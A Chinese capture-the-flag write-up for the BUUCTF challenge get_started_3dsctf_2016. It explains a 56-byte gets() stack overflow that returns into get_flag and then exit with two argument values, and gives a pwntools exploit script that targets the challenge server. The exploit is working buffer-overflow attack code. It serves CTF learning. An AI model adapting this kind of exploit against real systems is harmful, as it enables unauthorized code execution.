BUUCTF[get_started_3dsctf_2016]

步骤

使用checksec查看

使用ida打开,发现存在gets函数

溢出只需要56个字节

搜索发现有个get_flag函数,满足条件会执行打开flag.txt的指令

该函数地址为0x080489A0

我们可以溢出后 覆盖返回到get_flag函数,并且传入符合判断的值

a1的值814536271就是0x308CD64F

由于该题目没开启标准输入输出,于是我们得让函数正常退出来得到回显

exit函数地址0x0804E6A0

exp

python 复制代码
from pwn import *

get_flag=0x080489A0
exit_addr=0x0804E6A0
a1=0x308CD64F
a2=0x195719D1

p=remote('node5.buuoj.cn',28150)
#p=process('./get_started_3dsctf_2016')
context.log_level='debug'
sleep(0.1)

payload = b'a'*56
payload += p32(get_flag)+ p32(exit_addr) + p32(a1) + p32(a2)

p.sendline(payload)
p.interactive()
相关推荐
晓幂8 小时前
【2025】HECTF
笔记·学习·web安全
上海云盾-高防顾问8 小时前
中小企业低成本渗透测试实操指南
网络协议·web安全·网络安全
tianyuanwo9 小时前
合并XFS分区:将独立分区安全融入LVM的完整指南
安全·lvm
智驱力人工智能10 小时前
守护流动的规则 基于视觉分析的穿越导流线区检测技术工程实践 交通路口导流区穿越实时预警技术 智慧交通部署指南
人工智能·opencv·安全·目标检测·计算机视觉·cnn·边缘计算
2501_9458374311 小时前
云服务器的防护体系构建之道
网络·安全
小红卒16 小时前
海康威视未授权访问漏洞 (CVE-2017-7921)复现研究
安全
Data-Miner18 小时前
精品可编辑PPT | 大模型与智能体安全风险治理与防护
安全
Bug.ink19 小时前
BUUCTF——WEB(7)
web安全·网络安全·buuctf
咕噜企业分发小米19 小时前
直播云服务器安全防护有哪些最新的技术趋势?
运维·服务器·安全
九河云21 小时前
数据驱动未来,华为云DWS为智能决策提速
大数据·人工智能·安全·机器学习·华为云